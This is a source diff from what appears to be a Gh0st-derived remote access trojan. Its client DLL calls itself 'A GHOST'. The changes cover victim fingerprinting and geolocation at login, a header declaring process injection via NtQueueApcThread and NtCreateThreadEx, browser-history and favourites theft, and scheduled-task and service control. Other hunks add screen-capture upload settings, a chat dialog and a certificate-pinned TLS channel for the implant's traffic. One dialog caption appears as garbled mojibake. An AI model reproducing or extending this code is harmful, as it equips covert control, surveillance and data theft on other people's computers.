if (loc.empty() || pubIP.empty() || timeout) { if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
pubIP = cvt.getPublicIP(); std::string newPubIP = pubIP;
loc = cvt.GetGeoLocation(pubIP); // 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
cfg.SetStr("settings", "location", loc); // 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
cfg.SetStr("settings", "public_ip", pubIP); if (pubIP.empty() || timeout) {
cfg.SetInt("settings", "ip_time", time(0)); newPubIP = cvt.getPublicIP();
}
std::string newLoc = cvt.GetGeoLocation(newPubIP);
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
if (!newLoc.empty() && !newPubIP.empty()) {
pubIP = newPubIP;
loc = newLoc;
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
}
} }
LoginInfor.AddReserved(loc.c_str()); LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str()); LoginInfor.AddReserved(pubIP.c_str());
@@ -396,13 +412,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
sprintf(cpuInfo, "%dMHz", dwCPUMHz); sprintf(cpuInfo, "%dMHz", dwCPUMHz);
std::string clientID = cfg.GetStr("settings", "client_id"); std::string clientID = cfg.GetStr("settings", "client_id");
if (clientID.empty()) { if (clientID.empty()) {
// V2 ID 算法:MachineGuid + 归一化路径 // V2 ID 算法:MachineGuid + 主机名 + 归一化路径
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移) // - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库 // - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。 // MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows(); std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) { if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth); conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
} else { } else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n"); Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
@@ -428,6 +444,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0; double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K"); sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小 LoginInfor.AddReserved(fileSize); // 文件大小
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
return LoginInfor; return LoginInfor;
} }
File diff suppressed because it is too large. Load diff
+204
View File
@@ -0,0 +1,204 @@
#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
class CMachineManager : public CManager
{
public:
BOOL m_bUse;
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CMachineManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
HWND GetHwndByPid(DWORD dwProcessID);
bool Is64BitOS();
bool Is64BitPorcess(DWORD dwProcessID);
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName);
wchar_t* char2wchar_t(char* cstr);
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer, UINT nType);
void SendProcessList();
LPBYTE getProcessList(); //进程
void SendWindowsList();
LPBYTE getWindowsList(); //窗口
void SendNetStateList();
LPBYTE getNetStateList();
void SendSoftWareList();
LPBYTE getSoftWareList(); //软件列表
void SendIEHistoryList();
LPBYTE getIEHistoryList(); // 浏览记录
void SendFavoritesUrlList();
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
LPBYTE getFavoritesUrlList(); //收藏夹
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
LPBYTE getServiceList(DWORD dwScType);
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
PBYTE GetRoot(); //获取根目录下的子文件夹
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
void SaveData(const std::string& taskname, const std::string& path,
const std::string& exepath, const std::string& status,
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
DWORD m_dwServiceType;
void SendHostsList();
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
void SendError(const char* Terror);
};
struct Browsinghistory {
char strTime[100];
char strTitle[1024];
char strUrl[1024];
};
typedef struct {
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
typedef struct {
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
typedef struct {
DWORD dwState; //连接状态
DWORD dwLocalAddr; //本地地址
DWORD dwLocalPort; //本地端口
DWORD dwRemoteAddr; //远程地址
DWORD dwRemotePort; //远程端口
DWORD dwProcessId; //进程标识
DWORD Unknown; //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
HANDLE heap,
DWORD flags
);
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
PMIB_UDPEXTABLE* pUdpTable,
HANDLE heap,
DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE* pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE* pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef _CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID;//进程ID
DWORD datasize; //本地数据尺寸
char strpath[1024]; //远程落地目录
};
+11 -3
View File
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
CKernelManager* main = (CKernelManager*)ClientObject->GetMain(); CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg, if (!m_Signature.empty()) {
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
}
#endif #endif
m_isGDI = TRUE; m_isGDI = TRUE;
m_virtual = FALSE; m_virtual = FALSE;
@@ -870,7 +875,10 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (m_Signature.empty()) { if (m_Signature.empty()) {
m_Signature = std::string(resp.signature, resp.signature + 64); m_Signature = std::string(resp.signature, resp.signature + 64);
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature); m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
InitFileUpload({}, std::string(resp.msg), m_Signature, 64, 50, Logf); iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str()); Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
} }
break; break;
+18 -3
View File
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示" CAPTION "ÏûÏ¢Ìáʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
END END
IDD_CHAT DIALOGEX 0, 0, 235, 155
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "Chat"
FONT 10, "System", 0, 0, 0x0
BEGIN
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
END
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// //
@@ -44,6 +55,10 @@ BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
END END
IDD_CHAT, DIALOG
BEGIN
END
END END
#endif // APSTUDIO_INVOKED #endif // APSTUDIO_INVOKED
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,9 FILEVERSION 1,0,4,0
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -106,7 +121,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.9" VALUE "FileVersion", "1.0.4.0"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"
BIN
View File
Binary file not shown.
+508
View File
@@ -0,0 +1,508 @@
// TlsChannel.cpp — 见 TlsChannel.h 头注释。仅 _WIN32 编译。
#ifdef _WIN32
#include "stdafx.h"
#include "TlsChannel.h"
#include "common/iniFile.h" // config(settings.ini 文件回退) + GetRegistryName/GetCurrentUserRegistryKey(注册表正文)
#include <wincrypt.h> // 证书/链引擎 API
#include <winreg.h> // RegOpenKeyExA / RegQueryValueExA
#include <io.h> // _access
#include <fstream> // std::ifstream
#include <iterator> // std::istreambuf_iterator
#include <string>
#include <mutex> // std::call_once
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "crypt32.lib")
namespace {
std::once_flag g_tlsOnce;
bool g_tlsEnabled = false; // TLS 会话可用:send/recv 走加密
bool g_tlsError = false; // 证书存在但加载失败:拒绝连接(fail-closed)
HCERTSTORE g_tlsStore = NULL;
HCERTCHAINENGINE g_tlsEngine = NULL; // 只信任 g_tlsStore 的链引擎(严格钉扎)
// 解析信任锚证书路径:优先 settings.ini 的 [settings] tls_cert,其次可执行文件同目录
// yama-ca.pem。
std::string ResolveCertPath()
{
std::string certPath;
{
config cfg;
certPath = cfg.GetStr("settings", "tls_cert", "");
}
if (certPath.empty()) {
char path[MAX_PATH];
if (!GetModuleFileNameA(NULL, path, sizeof(path)))
return std::string(); // 拿不到 exe 路径,视为未配置
char* p = path + strlen(path);
while (p > path && *p != '\\') --p;
strcpy(p + 1, "yama-ca.pem");
certPath = path;
}
return certPath;
}
// 读取注册表 REG_SZ(动态扩容)。iniFile::GetStr 用 512 字节固定缓冲,会把 PEM 正文
// (约 1.3~1.8KB)截断成空,故此处自行两段式 RegQueryValueEx 读取。
// 返回 true 表示值存在且为 REG_SZ,out 为去掉末尾 '\0' 后的内容;否则 false。
bool ReadRegistrySz(HKEY root, const std::string& subKey, const std::string& valueName, std::string& out)
{
HKEY hKey = NULL;
if (RegOpenKeyExA(root, subKey.c_str(), 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return false;
DWORD type = 0, size = 0;
LONG r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type, NULL, &size);
if (r != ERROR_SUCCESS || type != REG_SZ) {
RegCloseKey(hKey);
return false;
}
std::vector<char> buf(size ? size : 1, 0);
r = RegQueryValueExA(hKey, valueName.c_str(), NULL, &type,
reinterpret_cast<LPBYTE>(buf.data()), &size);
RegCloseKey(hKey);
if (r != ERROR_SUCCESS)
return false;
if (size > 0 && buf[size - 1] == '\0')
--size; // REG_SZ 的 size 含末尾 '\0'
out.assign(buf.data(), size);
return true;
}
// 取信任锚 PEM 正文。优先注册表 Software\<exehash>\settings\tls_cert(REG_SZ 直接存
// PEM 正文,便于后续服务端下发/撤销),其次 settings.ini [settings] tls_cert 路径、
// exe 同目录 yama-ca.pem 文件(向后兼容旧的文件投递方式)。
// 返回 true 表示已配置(pem 可能为空:值/文件存在但内容为空,由 LoadTrustAnchor 判为
// fail-closed);false 表示完全未配置(走明文)。source 描述来源,仅用于日志。
bool ReadTrustAnchor(std::string& pem, std::string& source)
{
// 1) 注册表正文(首选)。值存在(即便为空)即视为「已配置」,交由 LoadTrustAnchor
// 对空/损坏内容判 fail-closed,与「空文件 → fail-closed」语义保持一致,避免空值
// 被静默当成未配置而回退明文。
std::string regSubKey = GetRegistryName() + "\\settings";
std::string regVal;
if (ReadRegistrySz(GetCurrentUserRegistryKey(), regSubKey, "tls_cert", regVal)) {
pem = regVal;
source = "registry " + regSubKey + "\\tls_cert";
return true;
}
// 2) 文件回退:settings.ini [settings] tls_cert 路径 → exe 同目录 yama-ca.pem
std::string certPath = ResolveCertPath();
if (certPath.empty() || _access(certPath.c_str(), 0) != 0)
return false; // 无证书 → 明文
std::ifstream f(certPath.c_str(), std::ios::binary);
if (!f) {
Mprintf("[TLS] cannot open %s\n", certPath.c_str());
return false;
}
pem.assign((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
source = certPath;
return true;
}
// 解码 PEM/DER 信任锚正文为 DER,并加入内存信任锚存储。
bool LoadTrustAnchor(const std::string& pem, const std::string& source, HCERTSTORE* outStore)
{
if (pem.empty()) {
Mprintf("[TLS] empty certificate %s\n", source.c_str());
return false;
}
// PEM(-----BEGIN CERTIFICATE----- base64)或 DER → DER。CRYPT_STRING_ANY 两者都认,
// 失败再退回 CRYPT_STRING_BASE64HEADER(纯 PEM)。
DWORD derLen = 0;
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
NULL, &derLen, NULL, NULL) || derLen == 0) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
NULL, &derLen, NULL, NULL) || derLen == 0) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
std::vector<BYTE> der(derLen);
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_ANY,
der.data(), &derLen, NULL, NULL)) {
if (!CryptStringToBinaryA(pem.data(), (DWORD)pem.size(), CRYPT_STRING_BASE64HEADER,
der.data(), &derLen, NULL, NULL)) {
Mprintf("[TLS] failed to decode certificate %s\n", source.c_str());
return false;
}
}
PCCERT_CONTEXT cert = CertCreateCertificateContext(X509_ASN_ENCODING, der.data(), derLen);
if (!cert) {
Mprintf("[TLS] invalid certificate %s\n", source.c_str());
return false;
}
HCERTSTORE store = CertOpenStore(CERT_STORE_PROV_MEMORY, X509_ASN_ENCODING,
0, CERT_STORE_CREATE_NEW_FLAG, NULL);
if (!store) {
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertOpenStore failed\n");
return false;
}
if (!CertAddCertificateContextToStore(store, cert, CERT_STORE_ADD_REPLACE_EXISTING, NULL)) {
CertCloseStore(store, 0);
CertFreeCertificateContext(cert);
Mprintf("[TLS] CertAddCertificateContextToStore failed\n");
return false;
}
CertFreeCertificateContext(cert);
*outStore = store;
return true;
}
void InitTls()
{
std::string pem, source;
if (!ReadTrustAnchor(pem, source)) {
// 无证书 → 明文(默认,与老客户端一致)
g_tlsEnabled = false;
g_tlsError = false;
Mprintf("[TLS] disabled: no trust anchor configured, plaintext mode\n");
return;
}
// 证书已配置:管理员已「颁发」,必须走 TLS;加载失败即拒绝连接(fail-closed),
// 不能静默回退明文。
HCERTSTORE store = NULL;
if (!LoadTrustAnchor(pem, source, &store)) {
g_tlsEnabled = false;
g_tlsError = true;
Mprintf("[TLS] FATAL: trust anchor (%s) present but failed to load; refusing connections (fail-closed)\n",
source.c_str());
return;
}
// 严格钉扎:链引擎只信任该 store 里的根证书,排除系统根库。否则攻击者拿一张任意
// 公共 CA 签发的证书就能通过 CertGetCertificateChain(默认引擎信任系统根库)。
CERT_CHAIN_ENGINE_CONFIG ec = {};
ec.cbSize = sizeof(ec);
ec.hExclusiveRoot = store;
HCERTCHAINENGINE engine = NULL;
if (!CertCreateCertificateChainEngine(&ec, &engine)) {
CertCloseStore(store, 0);
g_tlsEnabled = false;
g_tlsError = true;
Mprintf("[TLS] FATAL: CertCreateCertificateChainEngine failed; refusing connections (fail-closed)\n");
return;
}
g_tlsStore = store;
g_tlsEngine = engine;
g_tlsEnabled = true;
g_tlsError = false;
Mprintf("[TLS] enabled: trust anchor loaded (%s), all connections use TLS\n", source.c_str());
}
} // namespace
bool TlsEnabled()
{
std::call_once(g_tlsOnce, InitTls);
return g_tlsEnabled;
}
bool TlsLoadError()
{
std::call_once(g_tlsOnce, InitTls);
return g_tlsError;
}
// ---- TlsChannel ----
void TlsChannel::CloseHandles()
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
if (m_ctxValid) { DeleteSecurityContext(&m_ctx); m_ctx = {}; m_ctxValid = false; }
if (m_credValid) { FreeCredentialsHandle(&m_cred); m_cred = {}; m_credValid = false; }
m_ready = false;
m_raw.clear();
m_pending.clear();
}
bool TlsChannel::SendAll(SOCKET sock, const void* data, int len)
{
const char* p = (const char*)data;
int sent = 0;
while (sent < len) {
int n = ::send(sock, p + sent, len - sent, 0);
if (n == SOCKET_ERROR || n == 0)
return false;
sent += n;
}
return true;
}
bool TlsChannel::VerifyServerCert()
{
PCCERT_CONTEXT remote = NULL;
SECURITY_STATUS sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_REMOTE_CERT_CONTEXT, &remote);
if (sc != SEC_E_OK || !remote)
return false;
if (!g_tlsStore || !g_tlsEngine) {
CertFreeCertificateContext(remote);
return false;
}
CERT_CHAIN_PARA para = {};
para.cbSize = sizeof(para);
PCCERT_CHAIN_CONTEXT chain = NULL;
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, &para,
CERT_CHAIN_DISABLE_AIA,
NULL, &chain);
bool trusted = false;
if (ok && chain) {
trusted = (chain->TrustStatus.dwErrorStatus == CERT_TRUST_NO_ERROR);
}
if (chain) CertFreeCertificateChain(chain);
CertFreeCertificateContext(remote);
return trusted;
}
bool TlsChannel::Handshake(SOCKET sock)
{
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
SCHANNEL_CRED cred = {};
cred.dwVersion = SCHANNEL_CRED_VERSION;
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
cred.grbitEnabledProtocols = SP_PROT_TLS1_2_CLIENT; // TLS 1.2(与 Go 端 MinVersion 对齐)
TimeStamp tsExpiry = {};
SECURITY_STATUS sc = AcquireCredentialsHandleA(
NULL, (SEC_CHAR*)"Microsoft Unified Security Protocol Provider",
SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &m_cred, &tsExpiry);
if (sc != SEC_E_OK) {
Mprintf("[TLS] AcquireCredentialsHandle failed: 0x%08X\n", (unsigned)sc);
return false;
}
m_credValid = true;
DWORD flags = ISC_REQ_SEQUENCE_DETECT | ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY
| ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_STREAM | ISC_REQ_MANUAL_CRED_VALIDATION;
SecBuffer outBuf = { 0, SECBUFFER_TOKEN, NULL };
SecBufferDesc outDesc = { SECBUFFER_VERSION, 1, &outBuf };
ULONG attrs = 0;
// 首次调用产生 ClientHello
sc = InitializeSecurityContextA(&m_cred, NULL, NULL, flags, 0, SECURITY_NATIVE_DREP,
NULL, 0, &m_ctx, &outDesc, &attrs, &tsExpiry);
m_ctxValid = true; // 上下文已分配,之后必须 DeleteSecurityContext
if (sc != SEC_I_CONTINUE_NEEDED && sc != SEC_E_OK) {
Mprintf("[TLS] InitializeSecurityContext(initial) failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
std::vector<BYTE> hs;
char raw[8192];
while (sc == SEC_I_CONTINUE_NEEDED || sc == SEC_E_INCOMPLETE_MESSAGE ||
sc == SEC_I_INCOMPLETE_CREDENTIALS)
{
int r = recv(sock, raw, sizeof(raw), 0);
if (r == SOCKET_ERROR || r == 0) {
Mprintf("[TLS] handshake recv failed/EOF\n");
CloseHandles();
return false;
}
hs.insert(hs.end(), (BYTE*)raw, (BYTE*)raw + r);
SecBuffer inBufs[2] = {
{ (ULONG)hs.size(), SECBUFFER_TOKEN, hs.data() },
{ 0, SECBUFFER_EMPTY, NULL },
};
SecBufferDesc inDesc = { SECBUFFER_VERSION, 2, inBufs };
outBuf = { 0, SECBUFFER_TOKEN, NULL };
outDesc = { SECBUFFER_VERSION, 1, &outBuf };
sc = InitializeSecurityContextA(&m_cred, &m_ctx, NULL, flags, 0, SECURITY_NATIVE_DREP,
&inDesc, 0, NULL, &outDesc, &attrs, &tsExpiry);
// 裁剪已消费的输入,仅保留 SECBUFFER_EXTRA 指向的未消费尾部
if (inBufs[1].BufferType == SECBUFFER_EXTRA) {
int extra = inBufs[1].cbBuffer;
int consumed = (int)hs.size() - extra;
hs.erase(hs.begin(), hs.begin() + consumed);
} else {
hs.clear();
}
if (outBuf.cbBuffer > 0 && outBuf.pvBuffer) {
if (!SendAll(sock, outBuf.pvBuffer, (int)outBuf.cbBuffer)) {
FreeContextBuffer(outBuf.pvBuffer);
CloseHandles();
return false;
}
FreeContextBuffer(outBuf.pvBuffer);
}
}
if (sc != SEC_E_OK) {
Mprintf("[TLS] handshake failed: 0x%08X\n", (unsigned)sc);
CloseHandles();
return false;
}
// 握手成功后 hs 里可能残留「未消费的尾部」= 服务端 Finished 后紧跟的首条应用数据
// (TLS 记录)。若不下发,首包会被丢弃,导致随机丢包/协议错位。交给 Recv 解。
if (!hs.empty())
m_raw.insert(m_raw.end(), hs.begin(), hs.end());
if (!VerifyServerCert()) {
Mprintf("[TLS] server certificate not trusted against yama-ca.pem (fail-closed)\n");
CloseHandles();
return false;
}
sc = QueryContextAttributesA(&m_ctx, SECPKG_ATTR_STREAM_SIZES, &m_sizes);
if (sc != SEC_E_OK) {
